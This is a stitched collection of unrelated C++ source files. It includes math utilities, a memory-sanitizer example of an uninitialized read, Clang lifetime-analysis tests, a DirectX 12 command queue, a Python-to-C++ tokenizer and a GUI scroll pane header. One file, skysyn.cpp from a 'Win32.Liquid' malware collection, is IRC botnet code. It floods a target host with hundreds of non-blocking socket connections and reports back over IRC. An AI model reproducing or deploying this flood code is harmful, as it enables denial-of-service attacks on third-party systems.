cf41fb617b797f032de6c6762a62b0931599fef8
513
hpp
C++
bsengine/src/bstorm/math_util.hpp
At-sushi/bstorm
156036afd698d98f0ed67f0efa6bc416115806f7
[ "MIT" ]
null
null
null
bsengine/src/bstorm/math_util.hpp
At-sushi/bstorm
156036afd698d98f0ed67f0efa6bc416115806f7
[ "MIT" ]
null
null
null
bsengine/src/bstorm/math_util.hpp
At-sushi/bstorm
156036afd698d98f0ed67f0efa6bc416115806f7
[ "MIT" ]
null
null
null
#pragma once #include <algorithm> namespace bstorm { template <typename T> T constrain(const T& v, const T& min, const T& max) { return std::min(std::max<T>(v, min), max); } inline int NextPow2(int x) { if (x < 0) return 0; --x; x |= x >> 1; x |= x >> 2; x |= x >> 4; x |= x >> 8; x |= x >> 16; return x + 1; } template <class T> void hash_combine(std::size_t& seed, const T& v) { std::hash<T> hasher; seed ^= hasher(v) + 0x9e3779b9 + (seed << 6) + (seed >> 2); } }
16.548387
63
0.528265
At-sushi
cf446ba36edbdfcbc7e8df85b151edfd87b04b1b
141
cpp
C++
MSan/code-with-uninit-read/main.cpp
gusenov/examples-google-sanitizers
0dd2a1b4ed0d5bc41f872e33d975e54d10d714a2
[ "MIT" ]
4
2021-11-23T07:28:56.000Z
2022-02-03T10:21:25.000Z
MSan/code-with-uninit-read/main.cpp
gusenov/examples-google-sanitizers
0dd2a1b4ed0d5bc41f872e33d975e54d10d714a2
[ "MIT" ]
null
null
null
MSan/code-with-uninit-read/main.cpp
gusenov/examples-google-sanitizers
0dd2a1b4ed0d5bc41f872e33d975e54d10d714a2
[ "MIT" ]
null
null
null
int main(int argc, char** argv) { int* a = new int[10]; a[5] = 0; if (a[argc]) std::cout << a[3]; return 0; }
17.625
34
0.425532
gusenov
cf473ce3ea1cc6aca3ae392132e3df9aa4172954
1,885
cpp
C++
Win32.Liquid/source/skysyn.cpp
010001111/Vx-Suites
6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79
[ "MIT" ]
2
2021-02-04T06:47:45.000Z
2021-07-28T10:02:10.000Z
Win32.Liquid/source/skysyn.cpp
010001111/Vx-Suites
6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79
[ "MIT" ]
null
null
null
Win32.Liquid/source/skysyn.cpp
010001111/Vx-Suites
6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79
[ "MIT" ]
null
null
null
#include "../header/includes.h" #include "../header/functions.h" #include "../header/externs.h" #ifndef NO_SYN #define MAX_PACK_LEN 65535 #define SIO_RCALL 0x98000001 #define SKYSYN_SOCKETS 400 #define SYN_DPORT 2000 #define SYN_XORVAL 0xFFFFFFFF #define SYN_SPOOF_TEST 2001 #define SYN_SPOOF_GOOD 2002 DWORD WINAPI SkySynThread(LPVOID param) { char sendbuf[IRCLINE]; SKYSYN skysyn = *((SKYSYN *)param); SKYSYN *skysyns = (SKYSYN *)param; skysyns->gotinfo = TRUE; sprintf(sendbuf, "[SKYSYN]: Done with flood (%iKB/sec)", SkySyn(skysyn.ip, skysyn.port, skysyn.length)); if (!skysyn.silent) irc_privmsg(skysyn.sock, skysyn.chan, sendbuf, skysyn.notice); addlog(sendbuf); clearthread(skysyn.threadnum); ExitThread(0); } long SkySynSend(unsigned long TargetIP, unsigned short TargetPort, int len) { int skydelay = 100; SOCKADDR_IN SockAddr; SOCKET sock[SKYSYN_SOCKETS]; IN_ADDR iaddr; memset(&SockAddr, 0, sizeof(SockAddr)); SockAddr.sin_family = AF_INET; SockAddr.sin_port = fhtons(TargetPort); LPHOSTENT lpHostEntry = NULL; DWORD mode = 1; int c,i; iaddr.s_addr = TargetIP; SockAddr.sin_addr = iaddr; //ip addy i = 0; while (i < len) { for (c=0;c<SKYSYN_SOCKETS;c++) { sock[c] = socket(AF_INET, SOCK_STREAM, 0); if (sock[c] == INVALID_SOCKET) continue; ioctlsocket(sock[c],FIONBIO,&mode); } for (c=0;c<SKYSYN_SOCKETS;c++) connect(sock[c], (PSOCKADDR) &SockAddr, sizeof(SockAddr)); Sleep(skydelay); for (c=0;c<SKYSYN_SOCKETS;c++) closesocket(sock[c]); //close sockets i++; } return 0; } long SkySyn(char *target, char *port, char *len) { unsigned long TargetIP = ResolveAddress(target); unsigned short p = (unsigned short)atoi(port); int t = atoi(len); long num = SkySynSend(TargetIP, p, t); if (num == 0) num = 1; num = num / 1000 / t; return num; } #endif
22.440476
105
0.682228
010001111
cf4a2a49e670cd5eb9fc37ce94c6dca67b50566c
6,917
cc
C++
lifetime_analysis/test/inheritance.cc
google/crubit
ff16f6442cb78ae79ab61bd3b6375480f6af28b3
[ "Apache-2.0" ]
23
2022-03-28T12:55:44.000Z
2022-03-31T07:52:02.000Z
lifetime_analysis/test/inheritance.cc
google/crubit
ff16f6442cb78ae79ab61bd3b6375480f6af28b3
[ "Apache-2.0" ]
null
null
null
lifetime_analysis/test/inheritance.cc
google/crubit
ff16f6442cb78ae79ab61bd3b6375480f6af28b3
[ "Apache-2.0" ]
null
null
null
// Part of the Crubit project, under the Apache License v2.0 with LLVM // Exceptions. See /LICENSE for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // Tests involving inheritance. #include "gmock/gmock.h" #include "gtest/gtest.h" #include "lifetime_analysis/test/lifetime_analysis_test.h" namespace clang { namespace tidy { namespace lifetimes { namespace { TEST_F(LifetimeAnalysisTest, StructSimpleInheritance) { EXPECT_THAT(GetLifetimes(R"( struct [[clang::annotate("lifetime_params", "a")]] B { [[clang::annotate("member_lifetimes", "a")]] int* a; }; struct S : public B { }; int* target(S* s, int* a) { s->a = a; return s->a; } )"), LifetimesAre({{"target", "(a, b), a -> a"}})); } TEST_F(LifetimeAnalysisTest, DISABLED_StructInheritanceCallTrivialDefaultConstructor) { EXPECT_THAT(GetLifetimes(R"( struct T {}; struct S: public T { S(): T() {} int* a; }; void target() { S s; } )"), LifetimesAre({{"target", ""}})); } TEST_F(LifetimeAnalysisTest, StructInheritanceCallBaseConstructor) { EXPECT_THAT(GetLifetimes(R"( struct [[clang::annotate("lifetime_params", "a")]] T { [[clang::annotate("member_lifetimes", "a")]] int* b; T(int* b): b(b) {} }; struct S: public T { S(int* a, int* b): a(a), T(b) {} [[clang::annotate("member_lifetimes", "a")]] int* a; }; int* target(int* a, int* b) { S s(a, b); return s.b; } )"), LifetimesContain({{"target", "a, a -> a"}})); } TEST_F(LifetimeAnalysisTest, StructInheritanceCallBaseConstructorTypedef) { EXPECT_THAT(GetLifetimes(R"( struct [[clang::annotate("lifetime_params", "a")]] T { [[clang::annotate("member_lifetimes", "a")]] int* b; T(int* b): b(b) {} }; using U = T; struct S: public U { S(int* a, int* b): a(a), T(b) {} [[clang::annotate("member_lifetimes", "a")]] int* a; }; int* target(int* a, int* b) { S s(a, b); return s.b; } )"), LifetimesContain({{"target", "a, a -> a"}})); } TEST_F(LifetimeAnalysisTest, StructInheritanceCallBaseConstructorTypedefBaseInit) { EXPECT_THAT(GetLifetimes(R"( struct [[clang::annotate("lifetime_params", "a")]] T { [[clang::annotate("member_lifetimes", "a")]] int* b; T(int* b): b(b) {} }; using U = T; struct S: public T { S(int* a, int* b): a(a), U(b) {} [[clang::annotate("member_lifetimes", "a")]] int* a; }; int* target(int* a, int* b) { S s(a, b); return s.b; } )"), LifetimesContain({{"target", "a, a -> a"}})); } TEST_F(LifetimeAnalysisTest, StructSimpleInheritanceWithMethod) { EXPECT_THAT( GetLifetimes(R"( struct [[clang::annotate("lifetime_params", "a")]] B { [[clang::annotate("member_lifetimes", "a")]] int* a; int* f() { return a; } }; struct S : public B { }; int* target(S* s, int* a) { s->a = a; return s->f(); } )"), LifetimesAre({{"B::f", "(a, b): -> a"}, {"target", "(a, b), a -> a"}})); } TEST_F(LifetimeAnalysisTest, StructSimpleInheritanceWithMethodInDerived) { EXPECT_THAT( GetLifetimes(R"( struct [[clang::annotate("lifetime_params", "a")]] B { [[clang::annotate("member_lifetimes", "a")]] int* a; }; struct S : public B { int* f() { return a; } }; int* target(S* s, int* a) { s->a = a; return s->f(); } )"), LifetimesAre({{"S::f", "(a, b): -> a"}, {"target", "(a, b), a -> a"}})); } TEST_F(LifetimeAnalysisTest, StructSimpleInheritanceChained) { EXPECT_THAT( GetLifetimes(R"( struct [[clang::annotate("lifetime_params", "a")]] A { [[clang::annotate("member_lifetimes", "a")]] int* a; }; struct B : public A { int* f() { return a; } }; struct S : public B { }; int* target(S* s, int* a) { s->a = a; return s->f(); } )"), LifetimesAre({{"B::f", "(a, b): -> a"}, {"target", "(a, b), a -> a"}})); } TEST_F(LifetimeAnalysisTest, StructSimpleInheritanceWithSwappedTemplateArgs) { // Base and Derived have template arguments where the order is swapped, so // if the code reuse the same vector representation for the lifetimes // Derived (T, U) for the base class where Base has (U, T) this code fails. EXPECT_THAT(GetLifetimes(R"( template <typename U, typename T> struct Base { T base_t; U base_u; }; template <typename T, typename U> struct Derived : public Base<U, T> { T derived_t; U derived_u; }; int* target(Derived<int*, float*>* d, int* t1, int* t2) { d->derived_t = t1; d->base_t = t2; return d->derived_t; } )"), // The lifetime for Derived::derived_t should also be // Base::base_t. See discussions at cl/411724984. LifetimesAre({{"target", "(<a, b>, c), a, a -> a"}})); } TEST_F(LifetimeAnalysisTest, StructSimpleInheritanceWithDoubledTemplateArgs) { // Base and Derived have different number of template arguments. // Similar test case as StructSimpleInheritanceWithSwappedTemplateArgs. EXPECT_THAT(GetLifetimes(R"( template <typename T, typename U> struct Base { T base_t; U base_u; }; template <typename T> struct Derived : public Base<T, T> { T derived_t; }; int* target(Derived<int*>* d, int* t1, int* t2, int* t3) { d->derived_t = t1; d->base_t = t2; d->base_u = t3; return d->derived_t; } )"), LifetimesAre({{"target", "(a, b), a, a, a -> a"}})); } TEST_F(LifetimeAnalysisTest, StructSimpleInheritanceWithTemplateSubstitutedAndArgs) { // Base is a template type and has different number of template arguments from // Derived. Similar test case as // StructSimpleInheritanceWithSwappedTemplateArgs. EXPECT_THAT(GetLifetimes(R"( template <typename T> struct Base { T base_t; }; template <typename B, typename T> struct Derived : public B { T derived_t; }; int* target(Derived<Base<int*>, int*>* d, int* t1, int* t2) { d->derived_t = t1; d->base_t = t2; return d->derived_t; } )"), LifetimesAre({{"target", "(<a, b>, c), b, a -> b"}})); } TEST_F(LifetimeAnalysisTest, PassDerivedByValue) { EXPECT_THAT(GetLifetimes(R"( struct [[clang::annotate("lifetime_params", "a")]] B { [[clang::annotate("member_lifetimes", "a")]] int* a; int* f() { return a; } }; struct S : public B { }; int* target(S s) { return s.f(); } )"), LifetimesAre({{"B::f", "(a, b): -> a"}, {"target", "a -> a"}})); } TEST_F(LifetimeAnalysisTest, PassDerivedByValue_BaseIsTemplate) { EXPECT_THAT( GetLifetimes(R"( template <class T> struct B { T a; T f() { return a; } }; template <class T> struct S : public B<T> { }; int* target(S<int *> s) { return s.f(); } )"), LifetimesAre({{"B<int *>::f", "(a, b): -> a"}, {"target", "a -> a"}})); } } // namespace } // namespace lifetimes } // namespace tidy } // namespace clang
24.528369
80
0.594477
google
cf4a71baaf7976e390f64e029a2d37d997c783ea
1,240
cpp
C++
src/dx12/render/details/CommandQueue.cpp
log0div0/just_for_fun
737fc18c61e2c6a698de34cb7ea80f9eeee32362
[ "MIT" ]
null
null
null
src/dx12/render/details/CommandQueue.cpp
log0div0/just_for_fun
737fc18c61e2c6a698de34cb7ea80f9eeee32362
[ "MIT" ]
null
null
null
src/dx12/render/details/CommandQueue.cpp
log0div0/just_for_fun
737fc18c61e2c6a698de34cb7ea80f9eeee32362
[ "MIT" ]
null
null
null
#include "CommandQueue.hpp" #include "Exceptions.hpp" #include "../Context.hpp" using namespace winapi; namespace render { CommandQueue::CommandQueue(D3D12_COMMAND_LIST_TYPE type) { D3D12_COMMAND_QUEUE_DESC desc = { .Type = type, .Flags = D3D12_COMMAND_QUEUE_FLAG_NONE, .NodeMask = 1, }; ThrowIfFailed(g_context->device->CreateCommandQueue(&desc, IID_PPV_ARGS(&command_queue))); ThrowIfFailed(g_context->device->CreateFence(0, D3D12_FENCE_FLAG_NONE, IID_PPV_ARGS(&fence))); } void CommandQueue::Execute(winapi::ComPtr<ID3D12GraphicsCommandList>& command_list) { command_queue->ExecuteCommandLists(1, (ID3D12CommandList* const *)&command_list); } void CommandQueue::ExecuteSync(winapi::ComPtr<ID3D12GraphicsCommandList>& command_list) { Execute(command_list); Signal(); WaitIdle(); } void CommandQueue::WaitForFenceValue(uint64_t fence_value) { if (fence_value == 0) { return; } if (fence->GetCompletedValue() >= fence_value) { return; } fence->SetEventOnCompletion(fence_value, fence_event.handle); fence_event.Wait(INFINITE); } void CommandQueue::WaitIdle() { WaitForFenceValue(fence_counter); } uint64_t CommandQueue::Signal() { command_queue->Signal(fence, ++fence_counter); return fence_counter; } }
24.8
95
0.766129
log0div0
cf4b260e9a191301a714383ab17f9a1ca0499c56
12,355
hpp
C++
tests/python_to_cpp/python_to_11l/tokenizer.hpp
11l-lang/_11l_to_cpp
60306c270d51f2876bff868d7f897ff4c395d39f
[ "MIT" ]
9
2019-11-03T23:38:55.000Z
2022-01-08T07:49:26.000Z
tests/python_to_cpp/python_to_11l/tokenizer.hpp
11l-lang/_11l_to_cpp
60306c270d51f2876bff868d7f897ff4c395d39f
[ "MIT" ]
null
null
null
tests/python_to_cpp/python_to_11l/tokenizer.hpp
11l-lang/_11l_to_cpp
60306c270d51f2876bff868d7f897ff4c395d39f
[ "MIT" ]
2
2019-11-16T14:16:01.000Z
2020-11-16T14:34:48.000Z
auto keywords = create_array({u"False"_S, u"await"_S, u"else"_S, u"import"_S, u"pass"_S, u"None"_S, u"break"_S, u"except"_S, u"in"_S, u"raise"_S, u"True"_S, u"class"_S, u"finally"_S, u"is"_S, u"return"_S, u"and"_S, u"continue"_S, u"for"_S, u"lambda"_S, u"try"_S, u"as"_S, u"def"_S, u"from"_S, u"nonlocal"_S, u"while"_S, u"assert"_S, u"del"_S, u"global"_S, u"not"_S, u"with"_S, u"async"_S, u"elif"_S, u"if"_S, u"or"_S, u"yield"_S}); auto operators = create_array({u"+"_S, u"-"_S, u"*"_S, u"**"_S, u"/"_S, u"//"_S, u"%"_S, u"@"_S, u"<<"_S, u">>"_S, u"&"_S, u"|"_S, u"^"_S, u"~"_S, u"<"_S, u">"_S, u"<="_S, u">="_S, u"=="_S, u"!="_S}); auto delimiters = create_array({u"("_S, u")"_S, u"["_S, u"]"_S, u"{"_S, u"}"_S, u","_S, u":"_S, u"."_S, u";"_S, u"@"_S, u"="_S, u"->"_S, u"+="_S, u"-="_S, u"*="_S, u"/="_S, u"//="_S, u"%="_S, u"@="_S, u"&="_S, u"|="_S, u"^="_S, u">>="_S, u"<<="_S, u"**="_S}); auto operators_and_delimiters = sorted(operators + delimiters, [](const auto &x){return x.len();}, true); class Error { public: String message; int pos; int end; template <typename T1, typename T2> Error(const T1 &message, const T2 &pos) : message(message), pos(pos), end(pos) { } }; class Token { public: enum class Category { NAME, KEYWORD, CONSTANT, OPERATOR_OR_DELIMITER, NUMERIC_LITERAL, STRING_LITERAL, INDENT, DEDENT, STATEMENT_SEPARATOR }; int start; int end; Category category; template <typename T1, typename T2, typename T3> Token(const T1 &start, const T2 &end, const T3 &category) : start(start), end(end), category(category) { } auto __repr__() { return String(start); } template <typename T1> auto value(const T1 &source) { return source[range_el(start, end)]; } template <typename T1> auto to_str(const T1 &source) { return u"Token("_S & String(category) & u", \""_S & (value(source)) & u"\")"_S; } }; template <typename T1> auto tokenize(const T1 &source, Array<int>* const newline_chars = nullptr, Array<ivec2>* const comments = nullptr) { Array<Token> tokens; Array<int> indentation_levels; Array<Tuple<Char, int>> nesting_elements; auto begin_of_line = true; auto expected_an_indented_block = false; auto i = 0; while (i < source.len()) { if (begin_of_line) { begin_of_line = false; auto linestart = i; auto indentation_level = 0; while (i < source.len()) { if (source[i] == u' ') indentation_level++; else if (source[i] == u'\t') indentation_level += 8; else break; i++; } if (i == source.len()) break; if (in(source[i], u"\r\n#"_S)) continue; auto prev_indentation_level = !indentation_levels.empty() ? indentation_levels.last() : 0; if (expected_an_indented_block) { if (!(indentation_level > prev_indentation_level)) throw Error(u"expected an indented block"_S, i); } if (indentation_level == prev_indentation_level) { if (!tokens.empty()) tokens.append(Token(linestart - 1, linestart, Token::Category::STATEMENT_SEPARATOR)); } else if (indentation_level > prev_indentation_level) { if (!expected_an_indented_block) throw Error(u"unexpected indent"_S, i); expected_an_indented_block = false; indentation_levels.append(indentation_level); tokens.append(Token(linestart, i, Token::Category::INDENT)); } else while (true) { indentation_levels.pop(); tokens.append(Token(i, i, Token::Category::DEDENT)); auto level = !indentation_levels.empty() ? indentation_levels.last() : 0; if (level == indentation_level) break; if (level < indentation_level) throw Error(u"unindent does not match any outer indentation level"_S, i); } } auto ch = source[i]; if (in(ch, u" \t"_S)) i++; else if (in(ch, u"\r\n"_S)) { if (newline_chars != nullptr) newline_chars->append(i); i++; if (ch == u'\r' && source[range_el(i, i + 1)] == u'\n') i++; if (nesting_elements.empty()) begin_of_line = true; } else if (ch == u'#') { auto comment_start = i; i++; while (i < source.len() && !in(source[i], u"\r\n"_S)) i++; if (comments != nullptr) comments->append(make_tuple(comment_start, i)); } else { expected_an_indented_block = ch == u':'; auto operator_or_delimiter = u""_S; for (auto &&op : tokenizer::operators_and_delimiters) if (source[range_el(i, i + op.len())] == op) { if (op == u'.' && source[range_el(i + 1, i + 2)].is_digit()) break; operator_or_delimiter = op; break; } auto lexem_start = i; i++; Token::Category category; if (operator_or_delimiter != u"") { i = lexem_start + operator_or_delimiter.len(); category = TYPE_RM_REF(category)::OPERATOR_OR_DELIMITER; if (in(ch, u"([{"_S)) nesting_elements.append(make_tuple(ch, lexem_start)); else if (in(ch, u")]}"_S)) { if (nesting_elements.empty() || _get<0>(nesting_elements.last()) != ([&](const auto &a){return a == u')' ? u'('_C : a == u']' ? u'['_C : a == u'}' ? u'{'_C : throw KeyError(a);}(ch))) throw Error(u"there is no corresponding opening parenthesis/bracket/brace for `"_S & ch & u"`"_S, lexem_start); nesting_elements.pop(); } else if (ch == u';') category = TYPE_RM_REF(category)::STATEMENT_SEPARATOR; } else if (in(ch, make_tuple(u"\""_S, u"'"_S)) || (in(ch, u"rRbB"_S) && in(source[range_el(i, i + 1)], make_tuple(u"\""_S, u"'"_S)))) { String ends; if (in(ch, u"rRbB"_S)) ends = in(source[range_el(i, i + 3)], make_tuple(u"\"\"\""_S, u"'''"_S)) ? source[range_el(i, i + 3)] : source[i]; else { i--; ends = in(source[range_el(i, i + 3)], make_tuple(u"\"\"\""_S, u"'''"_S)) ? source[range_el(i, i + 3)] : ch; } i += ends.len(); while (true) { if (i == source.len()) throw Error(u"unclosed string literal"_S, lexem_start); if (source[i] == u'\\') { i++; if (i == source.len()) continue; } else if (source[range_el(i, i + ends.len())] == ends) { i += ends.len(); break; } i++; } category = TYPE_RM_REF(category)::STRING_LITERAL; } else if (ch.is_alpha() || ch == u'_') { while (i < source.len()) { ch = source[i]; if (!(ch.is_alpha() || ch == u'_' || in(ch, range_ee(u'0'_C, u'9'_C)) || ch == u'?')) break; i++; } if (in(source[range_el(lexem_start, i)], tokenizer::keywords)) { if (in(source[range_el(lexem_start, i)], make_tuple(u"None"_S, u"False"_S, u"True"_S))) category = TYPE_RM_REF(category)::CONSTANT; else category = TYPE_RM_REF(category)::KEYWORD; } else category = TYPE_RM_REF(category)::NAME; } else if ((in(ch, u"-+"_S) && in(source[range_el(i, i + 1)], range_ee(u'0'_C, u'9'_C))) || in(ch, range_ee(u'0'_C, u'9'_C)) || (ch == u'.' && in(source[range_el(i, i + 1)], range_ee(u'0'_C, u'9'_C)))) { if (in(ch, u"-+"_S)) { assert(false); ch = source[i + 1]; } else i--; auto is_hex = ch == u'0' && in(source[range_el(i + 1, i + 2)], make_tuple(u"x"_S, u"X"_S)); auto is_oct = ch == u'0' && in(source[range_el(i + 1, i + 2)], make_tuple(u"o"_S, u"O"_S)); auto is_bin = ch == u'0' && in(source[range_el(i + 1, i + 2)], make_tuple(u"b"_S, u"B"_S)); if (is_hex || is_oct || is_bin) i += 2; auto start = i; i++; if (is_hex) while (i < source.len() && (in(source[i], range_ee(u'0'_C, u'9'_C)) || in(source[i], range_ee(u'a'_C, u'f'_C)) || in(source[i], range_ee(u'A'_C, u'F'_C)) || source[i] == u'_')) i++; else if (is_oct) while (i < source.len() && (in(source[i], range_ee(u'0'_C, u'7'_C)) || source[i] == u'_')) i++; else if (is_bin) while (i < source.len() && in(source[i], u"01_"_S)) i++; else { while (i < source.len() && (in(source[i], range_ee(u'0'_C, u'9'_C)) || in(source[i], u"_.eE"_S))) { if (in(source[i], u"eE"_S)) { if (in(source[range_el(i + 1, i + 2)], u"-+"_S)) i++; } i++; } if (in(source[range_el(i, i + 1)], make_tuple(u"j"_S, u"J"_S))) i++; if (in(u'_'_C, source[range_el(start, i)]) && !(in(u'.'_C, source[range_el(start, i)]))) { auto number = source[range_el(start, i)].replace(u"_"_S, u""_S); auto number_with_separators = u""_S; auto j = number.len(); while (j > 3) { number_with_separators = u"_"_S & number[range_el(j - 3, j)] & number_with_separators; j -= 3; } number_with_separators = number[range_el(0, j)] & number_with_separators; if (source[range_el(start, i)] != number_with_separators) throw Error(u"digit separator in this number is located in the wrong place (should be: "_S & number_with_separators & u")"_S, start); } } category = TYPE_RM_REF(category)::NUMERIC_LITERAL; } else if (ch == u'\\') { if (!in(source[i], u"\r\n"_S)) throw Error(u"only new line character allowed after backslash"_S, i); if (source[i] == u'\r') i++; if (source[i] == u'\n') i++; continue; } else throw Error(u"unexpected character "_S & ch, lexem_start); tokens.append(Token(lexem_start, i, category)); } } if (!nesting_elements.empty()) throw Error(u"there is no corresponding closing parenthesis/bracket/brace for `"_S & _get<0>(nesting_elements.last()) & u"`"_S, _get<1>(nesting_elements.last())); if (expected_an_indented_block) throw Error(u"expected an indented block"_S, i); while (!indentation_levels.empty()) { tokens.append(Token(i, i, Token::Category::DEDENT)); indentation_levels.pop(); } return tokens; }
41.459732
432
0.456091
11l-lang
cf4c74936fb769e9fc0476356a63f2f46774d048
18,687
hpp
C++
core/src/cogs/gui/scroll_pane.hpp
cogmine/cogs
ef1c369a36a4f811704e0ced0493c3a6f8eca821
[ "MIT" ]
5
2019-02-08T15:59:14.000Z
2022-01-22T19:12:33.000Z
core/src/cogs/gui/scroll_pane.hpp
cogmine/cogs
ef1c369a36a4f811704e0ced0493c3a6f8eca821
[ "MIT" ]
1
2019-12-03T03:11:34.000Z
2019-12-03T03:11:34.000Z
core/src/cogs/gui/scroll_pane.hpp
cogmine/cogs
ef1c369a36a4f811704e0ced0493c3a6f8eca821
[ "MIT" ]
null
null
null
// // Copyright (C) 2000-2020 - Colen M. Garoutte-Carson <colen at cogmine.com>, Cog Mine LLC // // Status: Good, MayNeedCleanup #ifndef COGS_HEADER_GUI_SCROLL_PANE #define COGS_HEADER_GUI_SCROLL_PANE #include "cogs/gui/pane.hpp" #include "cogs/gui/label.hpp" #include "cogs/gui/grid.hpp" #include "cogs/gui/scroll_bar.hpp" #include "cogs/gui/native_container_pane.hpp" #include "cogs/sync/transactable.hpp" namespace cogs { namespace gui { /// @ingroup GUI /// @brief A scrollable GUI outer pane, providing a view of an inner pane. /// Inner pane should have a minimum size, under which size the need for a scroll bar is incurred class scroll_pane : public pane, protected virtual pane_container { private: class scroll_bar_info { public: rcref<scroll_bar> m_scrollBar; rcref<override_bounds_frame> m_frame; volatile transactable<scroll_bar_state> m_state; volatile double m_position = 0; volatile boolean m_canAutoFade; delegated_dependency_property<double> m_positionProperty; delegated_dependency_property<bool, io::permission::write> m_canAutoFadeProperty; delegated_dependency_property<scroll_bar_state, io::permission::read> m_stateProperty; scroll_bar_info(scroll_pane& scrollPane, dimension d) : m_scrollBar(rcnew(scroll_bar)({ .scrollDimension = d })), m_frame(rcnew(override_bounds_frame)), m_positionProperty(scrollPane, [this]() { return atomic::load(m_position); }, [this, &scrollPane](double d) { double newPos = d; double oldPos = atomic::exchange(m_position, newPos); if (oldPos != newPos) { m_positionProperty.changed(); scrollPane.scrolled(); } m_positionProperty.set_complete(); }), m_canAutoFadeProperty(scrollPane, [this, &scrollPane](bool b) { boolean oldValue = m_canAutoFade.exchange(b); if (oldValue != b && scrollPane.m_shouldAutoFadeScrollBar) scrollPane.recompose(); m_canAutoFadeProperty.set_complete(); }), m_stateProperty(scrollPane, [this]() { return *(m_state.begin_read()); }) { m_scrollBar->prepend_frame(m_frame); scrollPane.pane::nest_last(m_scrollBar); m_stateProperty.bind_to(m_scrollBar->get_state_property()); m_positionProperty.bind(m_scrollBar->get_position_property(), true); m_canAutoFadeProperty.bind_from(m_scrollBar->get_can_auto_fade_property()); scrollPane.m_shouldAutoFadeScrollBarProperty.bind_to(m_scrollBar->get_should_auto_fade_property()); } }; bool m_hasScrollBar[2]; placement<scroll_bar_info> m_scrollBarInfo[2]; rcref<override_bounds_frame> m_contentFrame; rcref<override_bounds_frame> m_clippingFrame; rcref<override_bounds_frame> m_cornerFrame; rcref<container_pane> m_contentPane; rcref<native_container_pane> m_clippingPane; // using a native pane ensures clipping of platform dependent pane children (i.e. OS buttons, etc.) rcref<container_pane> m_cornerPane; range m_calculatedRange; std::optional<size> m_calculatedDefaultSize; bool m_hideInactiveScrollBar; volatile boolean m_shouldAutoFadeScrollBar; delegated_dependency_property<bool> m_shouldAutoFadeScrollBarProperty; bool has_scroll_bar(dimension d) const { return m_hasScrollBar[(int)d]; } scroll_bar_info& get_scroll_bar_info(dimension d) { COGS_ASSERT(has_scroll_bar(d)); return m_scrollBarInfo[(int)d].get(); } const scroll_bar_info& get_scroll_bar_info(dimension d) const { COGS_ASSERT(has_scroll_bar(d)); return m_scrollBarInfo[(int)d].get(); } void scrolled() { point oldOrigin = m_contentFrame->get_position(); point oldScrollPosition = -oldOrigin; double hScrollPosition = has_scroll_bar(dimension::horizontal) ? atomic::load(get_scroll_bar_info(dimension::horizontal).m_position) : 0.0; double vScrollPosition = has_scroll_bar(dimension::vertical) ? atomic::load(get_scroll_bar_info(dimension::vertical).m_position) : 0.0; point newScrollPosition(hScrollPosition, vScrollPosition); if (oldScrollPosition != newScrollPosition) { m_contentFrame->get_position() = -newScrollPosition; cell::reshape(*m_contentFrame, m_contentFrame->get_fixed_size(), oldOrigin); } } bool use_scroll_bar_auto_fade() const { if (!m_shouldAutoFadeScrollBar) return false; dimension d = dimension::vertical; if (!has_scroll_bar(d)) d = !d; return get_scroll_bar_info(d).m_canAutoFade; } public: enum dimensions { horizontal = 0x01, // 01 vertical = 0x02, // 10 both = 0x03 // 11 }; // The behavior of scroll_pane varies depending on the input device. // Mode A: For traditional mouse-based input, scroll bars are always shown (though can optionally be hidden when inactive). // Mode B: For touch screen, or if scrolling is otherwise provided by a device, scroll bars are displayed overlaying // the content only when scrolling occurs, then fade. Drag/flick scrolling is always enabled in Mode B. // On MacOS, there is a user setting to dynamically switch between these modes. struct options { dimensions scrollDimensions = dimensions::both; bool hideInactiveScrollBar = true; bool shouldScrollBarAutoFade = true; // If false, scroll bars are always displayed in mode B. bool dragAndFlickScrolling = true; // If true, enables drag and flick scrolling in mode A. It's always enabled in mode B. frame_list frames; pane_list children; }; scroll_pane() : scroll_pane(options()) { } explicit scroll_pane(options&& o) : pane({ .frames = std::move(o.frames) }), m_contentFrame(rcnew(override_bounds_frame)), m_clippingFrame(rcnew(override_bounds_frame)), m_cornerFrame(rcnew(override_bounds_frame)), m_contentPane(rcnew(container_pane)({ .frames = {rcnew(unconstrained_frame)(alignment(0, 0)), m_contentFrame}, .children = {std::move(o.children)} })), m_clippingPane(rcnew(native_container_pane)({ .frames{m_clippingFrame}, .children{m_contentPane} })), m_cornerPane(rcnew(container_pane)({ .frames{m_cornerFrame} })), m_hideInactiveScrollBar(o.hideInactiveScrollBar), m_shouldAutoFadeScrollBar(o.shouldScrollBarAutoFade), m_shouldAutoFadeScrollBarProperty(*this, [this]() { return m_shouldAutoFadeScrollBar; }, [this](bool b) { bool oldValue = m_shouldAutoFadeScrollBar.exchange(b); if (oldValue != b) m_shouldAutoFadeScrollBarProperty.changed(); m_shouldAutoFadeScrollBarProperty.set_complete(); }) { // TBD: dragAndFlickScrolling // TODO: May need to address what happens when a native control is offscreen when drawn, and backing buffer is unavailable //m_contentPane->set_compositing_behavior(compositing_behavior::buffer_self_and_children); pane::nest_last(m_clippingPane); pane::nest_last(m_cornerPane); m_hasScrollBar[(int)dimension::horizontal] = ((int)o.scrollDimensions & (int)dimensions::horizontal) != 0; if (m_hasScrollBar[(int)dimension::horizontal]) nested_rcnew(&get_scroll_bar_info(dimension::horizontal), *get_desc())(*this, dimension::horizontal); m_hasScrollBar[(int)dimension::vertical] = ((int)o.scrollDimensions & (int)dimensions::vertical) != 0; if (m_hasScrollBar[(int)dimension::vertical]) nested_rcnew(&get_scroll_bar_info(dimension::vertical), *get_desc())(*this, dimension::vertical); } ~scroll_pane() { if (m_hasScrollBar[(int)dimension::horizontal]) m_scrollBarInfo[(int)dimension::horizontal].destruct(); if (m_hasScrollBar[(int)dimension::vertical]) m_scrollBarInfo[(int)dimension::vertical].destruct(); } virtual range get_range() const { return m_calculatedRange; } virtual std::optional<size> get_default_size() const { return m_calculatedDefaultSize; } using pane_container::nest; virtual void nest_last(const rcref<pane>& child) { m_contentPane->nest_last(child); } virtual void nest_first(const rcref<pane>& child) { m_contentPane->nest_first(child); } virtual void nest_before(const rcref<pane>& beforeThis, const rcref<pane>& child) { m_contentPane->nest_before(beforeThis, child); } virtual void nest_after(const rcref<pane>& afterThis, const rcref<pane>& child) { m_contentPane->nest_after(afterThis, child); } // Nests a pane to be rendered at the intersection of 2 visible scroll bars. // If no corner pane is specified, the scroll_pane's background color is used. 